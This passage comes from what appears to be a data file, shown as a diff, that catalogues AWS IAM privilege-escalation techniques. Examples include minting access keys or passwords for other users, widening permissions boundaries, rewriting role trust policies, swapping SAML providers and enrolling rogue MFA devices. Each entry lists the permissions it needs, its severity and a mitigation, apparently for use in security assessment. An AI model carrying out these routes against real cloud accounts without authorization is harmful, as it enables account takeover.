permissive policy versions and restrict iam:SetDefaultPolicyVersion to administrators. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_SetDefaultPolicyVersion.html + notes: Severity becomes critical when a stored non-default version is admin-equivalent. + +- id: aws-iam-createaccesskey-other-user + provider: aws + service: iam + title: Create access keys for another IAM user + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamcreateaccesskey-iamdeleteaccesskey + source_revision: 171e422299 + summary: The source can obtain the privileges of IAM users on which it can create access keys. + requires: + all_of: + - action: iam:CreateAccessKey + resource: "{target.arn}" + target: + kind: aws_user + selector: + resource_permission_covers_target: iam:CreateAccessKey + scope: same_account + aggregate_as: "IAM users covered by iam:CreateAccessKey in {account}" + preconditions: + - iam_user_access_key_capacity + conditions: + - id: access_key_limit + description: A user can hold at most two access keys; if the target already has two, the caller needs iam:DeleteAccessKey and a way to learn an existing key ID, such as iam:ListAccessKeys on that user. + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Scope iam:CreateAccessKey to "arn:aws:iam::*:user/${aws:username}" (self-service only) and alert on CreateAccessKey for other users. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateAccessKey.html + notes: Target users whose identity policies require MFA (aws:MultiFactorAuthPresent) will not get those permissions with plain access keys. + +- id: aws-iam-createloginprofile-other-user + provider: aws + service: iam + title: Create a console password for another IAM user + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamcreateloginprofile--iamupdateloginprofile + source_revision: 171e422299 + summary: The source can obtain the privileges of IAM users without a console password on which it can create one. + requires: + all_of: + - action: iam:CreateLoginProfile + resource: "{target.arn}" + target: + kind: aws_user + selector: + resource_permission_covers_target: iam:CreateLoginProfile + has_login_profile: false + scope: same_account + aggregate_as: "IAM users without a console password covered by iam:CreateLoginProfile in {account}" + preconditions: + - target_console_login_without_mfa + conditions: + - id: target_mfa + description: If the target has an MFA device enrolled, console sign-in requires it and the technique is blocked. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:CreateLoginProfile to self or administrators and require MFA for all console users. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateLoginProfile.html + notes: "" + +- id: aws-iam-updateloginprofile-other-user + provider: aws + service: iam + title: Reset the console password of another IAM user + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamcreateloginprofile--iamupdateloginprofile + source_revision: 171e422299 + summary: The source can obtain the privileges of IAM users whose console password it can change. + requires: + all_of: + - action: iam:UpdateLoginProfile + resource: "{target.arn}" + target: + kind: aws_user + selector: + resource_permission_covers_target: iam:UpdateLoginProfile + has_login_profile: true + scope: same_account + aggregate_as: "IAM users with a console password covered by iam:UpdateLoginProfile in {account}" + preconditions: + - target_console_login_without_mfa + conditions: + - id: target_mfa + description: If the target has an MFA device enrolled, console sign-in requires it and the technique is blocked. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:UpdateLoginProfile to self (with old password) or administrators and require MFA for all console users. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateLoginProfile.html + notes: The legitimate user is locked out, so this is noisy. + +- id: aws-iam-createservicespecificcredential-other-user + provider: aws + service: iam + title: Create or reset service-specific credentials for another IAM user + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamcreateservicespecificcredential--iamresetservicespecificcredential + source_revision: 171e422299 + summary: The source may obtain service-scoped privileges of IAM users for which it can create or reset service-specific credentials. + requires: + all_of: [] + any_of: + - - action: iam:CreateServiceSpecificCredential + resource: "{target.arn}" + - - action: iam:ResetServiceSpecificCredential + resource: "{target.arn}" + target: + kind: aws_user + scope: same_account + aggregate_as: "IAM users covered by service-specific credential management in {account}" + preconditions: + - service_specific_credential_ready + conditions: + - id: service_scoped_credential + description: The credential works only for the selected service; the target must have a usable service permission, and API-key services also need bearer-token authorization. + - id: reset_requires_existing_credential + description: The Reset variant only applies when the target already has a service-specific credential. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: medium + mitigation: Restrict service-specific credential management to self (${aws:username}) and administrators. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateServiceSpecificCredential.html + notes: Create and Reset use their own target-scoped IAM action. An inactive credential also needs UpdateServiceSpecificCredential, and a full two-credential slot needs DeleteServiceSpecificCredential before Create. Partial privilege gain only. + +- id: aws-iam-uploadsshpublickey-other-user + provider: aws + service: iam + title: Upload an SSH public key for another IAM user (CodeCommit) + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamuploadsshpublickey--iamdeactivatemfadevice + source_revision: 171e422299 + summary: The source may gain the target IAM user's CodeCommit GitPull or GitPush access by uploading an SSH public key. + requires: + all_of: + - action: iam:UploadSSHPublicKey + resource: "{target.arn}" + target: + kind: aws_user + selector: + resource_permission_covers_target: iam:UploadSSHPublicKey + scope: same_account + aggregate_as: "IAM users covered by iam:UploadSSHPublicKey in {account}" + preconditions: + - target_codecommit_git_permission + - target_ssh_public_key_capacity + conditions: + - id: service_scoped_credential + description: IAM SSH keys authenticate CodeCommit Git operations, subject to the target user's GitPull or GitPush permissions; they do not authorize CodeCommit API actions. + - id: ssh_key_limit + description: An IAM user can hold at most five SSH public keys; replacing one requires DeleteSSHPublicKey and a way to learn its key ID, such as ListSSHPublicKeys. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: low + mitigation: Restrict iam:UploadSSHPublicKey to self (${aws:username}). + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_UploadSSHPublicKey.html + notes: The DeactivateMFADevice half of the same HackTricks section is excluded (it needs the target's password already). + +- id: aws-iam-attachuserpolicy-self + provider: aws + service: iam + title: Attach a managed policy to the source IAM user + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamattachuserpolicy--iamattachgrouppolicy + source_revision: 171e422299 + summary: The source IAM user can obtain administrator privileges by attaching a managed policy to itself. + requires: + all_of: + - action: iam:AttachUserPolicy + resource: "{source.arn}" + request_context: + iam:PolicyARN: + admin_managed_policy: true + target: + kind: aws_account_admin + selector: + same_as_source: true + source_kind: aws_user + scope: same_account + aggregate_as: "Administrator of {account} (self-escalation)" + preconditions: + - source_boundary_allows_account_admin + conditions: + - id: policyarn_condition + description: An iam:PolicyARN condition limiting which managed policies may be attached removes or limits the escalation. + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Never grant iam:AttachUserPolicy on the principal itself; constrain with iam:PolicyARN and permissions boundaries. + references: [] + notes: Granting it on other users is an edge to those users only if the source can also act as them; that is covered by credential techniques, not here. + +- id: aws-iam-putuserpolicy-self + provider: aws + service: iam + title: Put an inline policy on the source IAM user + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamattachrolepolicy-stsassumerole--iamcreaterole--iamputuserpolicy--iamputgrouppolicy--iamputrolepolicy + source_revision: 171e422299 + summary: The source IAM user can obtain administrator privileges by writing an inline policy on itself. + requires: + all_of: + - action: iam:PutUserPolicy + resource: "{source.arn}" + target: + kind: aws_account_admin + selector: + same_as_source: true + source_kind: aws_user + scope: same_account + aggregate_as: "Administrator of {account} (self-escalation)" + preconditions: + - source_boundary_allows_account_admin + conditions: [] + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Never grant iam:PutUserPolicy on the principal itself; use permissions boundaries for delegated IAM administration. + references: [] + notes: "" + +- id: aws-iam-attachgrouppolicy-self + provider: aws + service: iam + title: Attach a managed policy to a group the source user belongs to + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamattachuserpolicy--iamattachgrouppolicy + source_revision: 171e422299 + summary: The source IAM user can obtain administrator privileges by attaching a managed policy to one of its groups. + requires: + all_of: + - action: iam:AttachGroupPolicy + resource: "{source.group_arn}" + request_context: + iam:PolicyARN: + admin_managed_policy: true + target: + kind: aws_account_admin + selector: + same_as_source: true + source_kind: aws_user + source_group_covered_by: iam:AttachGroupPolicy + scope: same_account + aggregate_as: "Administrator of {account} (self-escalation)" + preconditions: + - source_boundary_allows_account_admin + conditions: + - id: policyarn_condition + description: An iam:PolicyARN condition limiting attachable policies removes or limits the escalation. + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Do not let users modify policies of groups they belong to. + references: [] + notes: "{source.group_arn} is the ARN of one of the source's groups (the target is the account-admin entity, which has no ARN)." + +- id: aws-iam-putgrouppolicy-self + provider: aws + service: iam + title: Put an inline policy on a group the source user belongs to + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamattachrolepolicy-stsassumerole--iamcreaterole--iamputuserpolicy--iamputgrouppolicy--iamputrolepolicy + source_revision: 171e422299 + summary: The source IAM user can obtain administrator privileges by writing an inline policy on one of its groups. + requires: + all_of: + - action: iam:PutGroupPolicy + resource: "{source.group_arn}" + target: + kind: aws_account_admin + selector: + same_as_source: true + source_kind: aws_user + source_group_covered_by: iam:PutGroupPolicy + scope: same_account + aggregate_as: "Administrator of {account} (self-escalation)" + preconditions: + - source_boundary_allows_account_admin + conditions: [] + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Do not let users modify policies of groups they belong to. + references: [] + notes: "{source.group_arn} is the ARN of one of the source's groups (the target is the account-admin entity, which has no ARN)." + +- id: aws-iam-attachrolepolicy-self + provider: aws + service: iam + title: Attach a managed policy to the source's own role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamattachrolepolicy-stsassumerole--iamcreaterole--iamputuserpolicy--iamputgrouppolicy--iamputrolepolicy + source_revision: 171e422299 + summary: The source role can obtain administrator privileges by attaching a managed policy to its own role. + requires: + all_of: + - action: iam:AttachRolePolicy + resource: "{source.arn}" + request_context: + iam:PolicyARN: + admin_managed_policy: true + target: + kind: aws_account_admin + selector: + same_as_source: true + source_kind: aws_role + scope: same_account + aggregate_as: "Administrator of {account} (self-escalation)" + preconditions: + - source_boundary_allows_account_admin + conditions: + - id: policyarn_condition + description: An iam:PolicyARN condition limiting attachable policies removes or limits the escalation. + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Never grant iam:AttachRolePolicy on the role itself; use permissions boundaries for delegated role administration. + references: [] + notes: "{source.arn} is the role ARN (not the session ARN)." + +- id: aws-iam-putrolepolicy-self + provider: aws + service: iam + title: Put an inline policy on the source's own role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamattachrolepolicy-stsassumerole--iamcreaterole--iamputuserpolicy--iamputgrouppolicy--iamputrolepolicy + source_revision: 171e422299 + summary: The source role can obtain administrator privileges by writing an inline policy on its own role. + requires: + all_of: + - action: iam:PutRolePolicy + resource: "{source.arn}" + target: + kind: aws_account_admin + selector: + same_as_source: true + source_kind: aws_role + scope: same_account + aggregate_as: "Administrator of {account} (self-escalation)" + preconditions: + - source_boundary_allows_account_admin + conditions: [] + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Never grant iam:PutRolePolicy on the role itself; use permissions boundaries for delegated role administration. + references: [] + notes: "{source.arn} is the role ARN (not the session ARN)." + +- id: aws-iam-modify-assumable-role-policy + provider: aws + service: iam + title: Grant permissions to a role the source can already assume + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamattachrolepolicy-stsassumerole--iamcreaterole--iamputuserpolicy--iamputgrouppolicy--iamputrolepolicy + source_revision: 171e422299 + summary: The source can obtain administrator privileges through a role it can assume and whose policies it can change. + requires: + any_of: + - - action: iam:AttachRolePolicy + resource: "{source.assumable_role_arn}" + request_context: + iam:PolicyARN: + admin_managed_policy: true + - - action: iam:PutRolePolicy + resource: "{source.assumable_role_arn}" + target: + kind: aws_account_admin + selector: + via_assumable_role_covered_by: iam:AttachRolePolicy + scope: same_account + aggregate_as: "Administrator of {account} (via an assumable role)" + preconditions: + - assumable_role_allows_account_admin + conditions: + - id: same_assumable_role + description: The role whose policies the source can change must be one it can assume; {source.assumable_role_arn} already restricts the requirement to such roles. + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Separate who can edit a role's permissions from who can assume it; apply permissions boundaries on delegated role administration. + references: [] + notes: "{source.assumable_role_arn} is a role the source can already assume (the trust admits it, and its identity policy allows sts:AssumeRole on the role unless the trust names its ARN in the same account), so no separate sts:AssumeRole requirement is listed. via_assumable_role_covered_by applies to whichever any_of action matched (AttachRolePolicy or PutRolePolicy)." + +- id: aws-iam-createrole-attach-assume + provider: aws + service: iam + title: Create a new role trusting the source, grant it admin, and assume it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamattachrolepolicy-stsassumerole--iamcreaterole--iamputuserpolicy--iamputgrouppolicy--iamputrolepolicy + source_revision: 171e422299 + summary: The source can obtain administrator privileges through a new role it creates, grants permissions to and assumes. + requires: + all_of: + - action: iam:CreateRole + resource: "*" + bind: new_role + request_context: + iam:PermissionsBoundary: + absent: true + any_of: + - - action: iam:AttachRolePolicy + resource: "*" + bind: new_role + request_context: + iam:PolicyARN: + admin_managed_policy: true + - - action: iam:PutRolePolicy + resource: "*" + bind: new_role + target: + kind: aws_account_admin + selector: + same_as_source: true + scope: same_account + aggregate_as: "Administrator of {account} (via a newly created role)" + conditions: + - id: permissions_boundary_condition + description: Creating an unbounded administrator role requires CreateRole to allow a request without iam:PermissionsBoundary. A role forced to carry a boundary needs a separate assessment of that boundary's effective permissions. + - id: resource_path_restriction + description: If CreateRole/AttachRolePolicy/PutRolePolicy are restricted to a role path or name pattern, the actions must all cover the same role ARN. + - id: same_account_trust_no_assumerole_needed + description: The source writes the new role's trust policy naming its own ARN; in the same account that trust alone authorizes sts:AssumeRole, so no identity grant is required (an explicit identity-policy or SCP deny on sts:AssumeRole still blocks it). + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Require iam:PermissionsBoundary on iam:CreateRole for delegated administrators and restrict role attach/put to boundary-carrying roles. + references: + - https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_boundaries.html + notes: "The AttachRolePolicy branch tries AdministratorAccess and collected customer-managed policies whose default version clearly grants unrestricted actions and resources. Every action must cover the same newly creatable role ARN, and the source must be able to assume that role after creation." + +- id: aws-iam-createrole-satisfy-cross-account-trust + provider: aws + service: iam + title: Create a role accepted by a cross-account trust + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#path-name-and-arn-conditions + source_revision: b587e6bd26 + summary: The source can create and assume a role whose ARN matches another account's role trust, then grant the new role permission to assume that target. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: {} + scope: any + aggregate_as: Cross-account roles accepting a new source-account role + outcome: credentials + preconditions: + - iam_new_role_cross_account_trust + conditions: + - id: role_creation_and_assumption + description: The source must create one unused role ARN matching the target trust, give that role sts:AssumeRole on the target, and assume the new role. + - id: trust_uses_principal_arn + description: The target must delegate to the source account and match the future role through aws:PrincipalArn; a directly named role Principal is tied to an immutable role ID. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Scope cross-account trust to established role identities and tightly restrict who can create roles or write their policies in trusted paths. + references: + - https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_elements_principal.html + - https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_evaluation-logic-cross-account.html + notes: The evaluator joins a collected target trust with one unoccupied role ARN in the source account, exact CreateRole and PutRolePolicy grants on that ARN, a source-to-new-role assumption path, and source-account SCP permission for the new role to assume the target. A direct role ARN in Principal, incomplete role inventory, uncertain trust conditions, or a required permissions boundary does not establish a conditional edge. The role must still be created and assumed. + +- id: aws-iam-addusertogroup + provider: aws + service: iam + title: Add the source user to an IAM group + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamaddusertogroup + source_revision: 171e422299 + summary: The source IAM user can obtain the privileges of IAM groups it can add itself to. + requires: + all_of: + - action: iam:AddUserToGroup + resource: "{target.arn}" + target: + kind: aws_group + selector: + resource_permission_covers_target: iam:AddUserToGroup + source_kind: aws_user + scope: same_account + aggregate_as: "IAM groups covered by iam:AddUserToGroup in {account}" + preconditions: + - group_adds_policy_to_source + conditions: [] + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:AddUserToGroup to administrators or to specific low-privilege groups. + references: [] + notes: The Resource of iam:AddUserToGroup is the group ARN. Only IAM users can be group members. The evaluator confirms a new effective self-policy edit, administrator policy attachment, or assumption of a specific trusted role; other policy gains remain unresolved until their action and resource are joined to an outcome. + +- id: aws-iam-putuserpermissionsboundary-self-admin + provider: aws + service: iam + title: Widen the source user's permissions boundary + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamputuserpermissionsboundary + source_revision: 171e422299 + summary: The source IAM user already has an administrator identity policy limited by its current boundary and can remove that boundary or replace it with AdministratorAccess. + requires: + any_of: + - - action: iam:DeleteUserPermissionsBoundary + resource: "{source.arn}" + - - action: iam:PutUserPermissionsBoundary + resource: "{source.arn}" + request_context: + iam:PermissionsBoundary: "arn:{source.partition}:iam::aws:policy/AdministratorAccess" + target: + kind: aws_account_admin + selector: + same_as_source: true + source_kind: aws_user + scope: same_account + aggregate_as: "Administrator of {account} (self-escalation)" + preconditions: + - iam_user_boundary_admin_gain + conditions: + - id: existing_identity_grant + description: An existing identity policy must already grant unrestricted administrator actions; changing a boundary does not create a new identity grant. + blockers: [] + confidence: derived + severity: critical + mitigation: Do not let a bounded user remove or replace its own boundary; constrain any boundary updates to approved policy ARNs. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_PutUserPermissionsBoundary.html + - https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_boundaries.html + notes: The evaluator compares current and post-change effective administrator authority, checks the exact source user, and tests a Put request with the AdministratorAccess boundary ARN. Existing IAM and SCP Deny statements still apply. + +- id: aws-iam-putrolepermissionsboundary-self-admin + provider: aws + service: iam + title: Widen the source role's permissions boundary + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamputrolepermissionsboundary + source_revision: 171e422299 + summary: The source role already has an administrator identity policy limited by its current boundary and can remove or widen that boundary. + requires: + any_of: + - - action: iam:DeleteRolePermissionsBoundary + resource: "{source.arn}" + - - action: iam:PutRolePermissionsBoundary + resource: "{source.arn}" + request_context: + iam:PermissionsBoundary: "arn:{source.partition}:iam::aws:policy/AdministratorAccess" + target: + kind: aws_account_admin + selector: + same_as_source: true + source_kind: aws_role + scope: same_account + aggregate_as: "Administrator of {account} (after a fresh role session)" + preconditions: [iam_role_boundary_admin_gain] + conditions: + - id: fresh_session + description: The changed boundary applies to a new role session, so the source must obtain another session of this role. + blockers: [] + confidence: conditional + severity: critical + mitigation: Keep role boundary changes separate from the role's own permissions and restrict replacement policies. + references: + - https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_update-role-permissions.html + - https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_iam-condition-keys.html + notes: A current role session does not gain the new boundary. The route remains conditional until another session of this role is obtained. + +- id: aws-iam-putrolepermissionsboundary-assumable-admin + provider: aws + service: iam + title: Widen the boundary of a role the source can assume + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamputrolepermissionsboundary + source_revision: 6fb9ac51fd + summary: An existing assumable role has an administrator identity policy limited by its current boundary, and the source can remove or widen that boundary before assuming it. + requires: + any_of: + - - action: iam:DeleteRolePermissionsBoundary + resource: "{source.assumable_role_arn}" + - - action: iam:PutRolePermissionsBoundary + resource: "{source.assumable_role_arn}" + request_context: + iam:PermissionsBoundary: "arn:{source.partition}:iam::aws:policy/AdministratorAccess" + target: + kind: aws_account_admin + selector: + via_assumable_role_covered_by: iam:PutRolePermissionsBoundary + scope: same_account + aggregate_as: "Administrator of {account} (via an assumable role)" + preconditions: [iam_role_boundary_admin_gain] + conditions: [] + blockers: [] + confidence: derived + severity: critical + mitigation: Separate role boundary administration from role assumption and restrict replacement policies. + references: + - https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_update-role-permissions.html + - https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_iam-condition-keys.html + notes: The same assumable role must satisfy trust, mutation permission, existing identity grant and restrictive old boundary; the new assumption obtains a fresh session. + +- id: aws-iam-updateassumerolepolicy + provider: aws + service: iam + title: Rewrite a role's trust policy to allow the source + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamupdateassumerolepolicy + source_revision: 171e422299 + summary: The source can obtain the privileges of roles whose trust policy it can rewrite. + requires: + all_of: + - action: iam:UpdateAssumeRolePolicy + resource: "{target.arn}" + target: + kind: aws_role + selector: + resource_permission_covers_target: iam:UpdateAssumeRolePolicy + scope: same_account + aggregate_as: "IAM roles covered by iam:UpdateAssumeRolePolicy in {account}" + preconditions: + - role_trust_rewrite_assumable + conditions: + - id: assumerole_grant + description: If the rewritten trust names the source principal ARN (same account) no identity-policy sts:AssumeRole is needed; if it names only the account root, sts:AssumeRole on the role is also required. + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Restrict iam:UpdateAssumeRolePolicy to administrators; monitor trust-policy changes. + references: + - https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_evaluation-logic-cross-account.html + notes: Service-linked roles cannot have their trust policy edited and must be excluded from the target set. + +- id: aws-iam-updatesamlprovider + provider: aws + service: iam + title: Replace the metadata of a SAML provider trusted by roles + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamupdatesamlprovider-iamlistsamlproviders-iamgetsamlprovider + source_revision: 171e422299 + summary: The source can obtain the privileges of roles trusting a SAML provider whose metadata it can replace. + requires: + all_of: + - action: iam:UpdateSAMLProvider + resource: "{target.saml_provider_arn}" + target: + kind: aws_role + selector: + trust_allows_saml_provider_covered_by: iam:UpdateSAMLProvider + scope: same_account + aggregate_as: "Roles trusting a SAML provider covered by iam:UpdateSAMLProvider in {account}" + conditions: + - id: trust_conditions_on_saml_attributes + description: Trust conditions on SAML attributes (e.g. saml:aud, saml:sub) must be satisfiable; a forged assertion normally can satisfy them. + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Restrict iam:UpdateSAMLProvider/CreateSAMLProvider to administrators; alert on SAML provider changes. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateSAMLProvider.html + notes: "Requires a new placeholder {target.saml_provider_arn}: the SAML provider ARN named in the target role's trust policy. sts:AssumeRoleWithSAML needs no identity permissions." + +- id: aws-iam-recreate-samlprovider + provider: aws + service: iam + title: Replace a trusted SAML provider with an attacker-controlled one of the same name + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamcreateopenidconnectprovider--iamcreatesamlprovider--bring-your-own-identity-provider + source_revision: 171e422299 + summary: The source can obtain the privileges of roles trusting a SAML provider by deleting it and registering a provider with the same name and its own signing metadata. + requires: + all_of: + - action: iam:DeleteSAMLProvider + resource: "{target.saml_provider_arn}" + - action: iam:CreateSAMLProvider + resource: "{target.saml_provider_arn}" + target: + kind: aws_role + selector: + trust_allows_saml_provider_covered_by: iam:DeleteSAMLProvider + scope: same_account + aggregate_as: "Roles trusting a SAML provider the source can recreate in {account}" + conditions: + - id: trust_conditions_on_saml_attributes + description: Trust conditions on SAML attributes (saml:aud, saml:sub, saml:iss) must be satisfiable by an assertion the source signs; normally they are. + - id: disruption + description: Deleting the provider breaks legitimate federation until it is recreated, which is noisy. + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Restrict iam:CreateSAMLProvider / DeleteSAMLProvider / UpdateSAMLProvider to administrators and alert on identity-provider changes. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateSAMLProvider.html + - https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_saml.html + notes: Registering a brand-new provider only escalates combined with a role that trusts it, which iam:CreateRole / iam:UpdateAssumeRolePolicy already grant directly (aws-iam-createrole-attach-assume, aws-iam-updateassumerolepolicy). The OIDC audience variant is aws-iam-oidcprovider-add-client-id and planting a provider that a trust names but that no longer exists is aws-iam-createsamlprovider-orphaned-trust / aws-iam-createoidcprovider-orphaned-trust. + +- id: aws-iam-createsamlprovider-orphaned-trust + provider: aws + service: iam + title: Register a SAML provider that a role trusts but that no longer exists + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamcreateopenidconnectprovider--iamcreatesamlprovider--bring-your-own-identity-provider + source_revision: 171e422299 + summary: The source can obtain the privileges of roles whose trust names a SAML provider ARN of the account that does not exist, by creating that provider with its own signing metadata. + requires: + all_of: + - action: iam:CreateSAMLProvider + resource: "{target.saml_provider_arn}" + target: + kind: aws_role + selector: + trust_federated_provider_missing: saml + scope: same_account + aggregate_as: "Roles trusting a missing SAML provider in {account}" + conditions: + - id: trust_conditions_on_saml_attributes + description: Trust conditions on SAML attributes (saml:aud, saml:sub, saml:iss) must be satisfiable by an assertion the source signs; normally they are. + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Remove trust statements naming deleted identity providers and restrict iam:CreateSAMLProvider to administrators. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateSAMLProvider.html + notes: Needs the account's SAML provider inventory (iam:ListSAMLProviders); without it the targets are unresolved placeholders. + +- id: aws-iam-enable-attacker-mfa-device-other-user + provider: aws + service: iam + title: Enrol an attacker-controlled virtual MFA device on another user and mint its credentials + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamcreatevirtualmfadevice-iamenablemfadevice-and-the-target-users-access-keys + source_revision: 6fb9ac51fd + summary: The source can obtain MFA-authenticated sessions of IAM users on which it can enable a virtual MFA device it created and create access keys or a console password, including users whose permissions are gated on MFA or whose console sign-in is protected by MFA. + requires: + all_of: + - action: iam:CreateVirtualMFADevice + resource: "arn:{source.partition}:iam::{target.account}:mfa/*" + - action: iam:EnableMFADevice + resource: "{target.arn}" + any_of: + - - action: iam:CreateAccessKey + resource: "{target.arn}" + - - action: iam:CreateLoginProfile + resource: "{target.arn}" + - - action: iam:UpdateLoginProfile + resource: "{target.arn}" + target: + kind: aws_user + selector: + resource_permission_covers_target: iam:EnableMFADevice + scope: same_account + aggregate_as: IAM users on which the source can enrol its own MFA device and mint credentials in {account} + outcome: credentials + preconditions: + - mfa_enrollment_credential_ready + conditions: + - id: mfa_device_limit + description: An IAM user can hold at most eight MFA devices; a user already at the limit also needs iam:DeactivateMFADevice on the target. + - id: credential_state + description: CreateAccessKey needs fewer than two existing keys (or iam:DeleteAccessKey plus a known existing key ID); CreateLoginProfile needs the user to have no console password; UpdateLoginProfile needs an existing one. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:EnableMFADevice and iam:CreateVirtualMFADevice to self-service on the caller's own user (aws:username), and alert on a second MFA enrolment for a user that already has one. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_EnableMFADevice.html + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateVirtualMFADevice.html + - https://docs.aws.amazon.com/STS/latest/APIReference/API_GetSessionToken.html + notes: Complements aws-iam-createaccesskey-other-user / aws-iam-createloginprofile-other-user / aws-iam-updateloginprofile-other-user by removing their MFA caveats (aws:MultiFactorAuthPresent-gated policies and MFA-protected console sign-in). GetSessionToken needs no IAM permission. The page notes the technique needs the target's access keys; the any_of supplies the credential-creation half that makes it reachable from configuration alone. + +- id: aws-iam-deactivate-mfa-loginprofile-other-user + provider: aws + service: iam + title: Remove another user's MFA device and set its console password + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamuploadsshpublickey--iamdeactivatemfadevice + source_revision: 6fb9ac51fd + summary: The source can obtain console access as MFA-protected IAM users by deactivating their MFA device and creating or resetting their console password. + requires: + all_of: + - action: iam:DeactivateMFADevice + resource: "{target.arn}" + any_of: + - - action: iam:CreateLoginProfile + resource: "{target.arn}" + - - action: iam:UpdateLoginProfile + resource: "{target.arn}" + target: + kind: aws_user + selector: + resource_permission_covers_target: iam:DeactivateMFADevice + scope: same_account + aggregate_as: IAM users whose MFA the source can remove and whose password it can set in {account} + outcome: credentials + preconditions: + - mfa_removal_password_ready + conditions: + - id: all_devices_removed + description: Every MFA device of the target must be deactivated (one DeactivateMFADevice per device serial) before password-only sign-in works. + - id: login_profile_state + description: CreateLoginProfile needs the user to have no console password; UpdateLoginProfile needs an existing one. + - id: mfa_gated_permissions_lost + description: Permissions conditioned on aws:MultiFactorAuthPresent are not usable from the resulting password-only session. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:DeactivateMFADevice and login-profile management on other users to break-glass administrators and alert on DeactivateMFADevice. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_DeactivateMFADevice.html + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateLoginProfile.html + notes: Lifts the target_mfa condition of aws-iam-createloginprofile-other-user / aws-iam-updateloginprofile-other-user. DeactivateMFADevice alone (password unknown) stays out of scope. + +- id: aws-iam-createpolicyversion-assumable-role + provider: aws + service: iam + title: Rewrite a managed policy attached to an assumable role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamcreatepolicyversion + source_revision: 8d6a341c8a + summary: A new default version of a customer-managed policy can grant administration to a role the source can assume. + requires: + all_of: + - action: iam:CreatePolicyVersion + 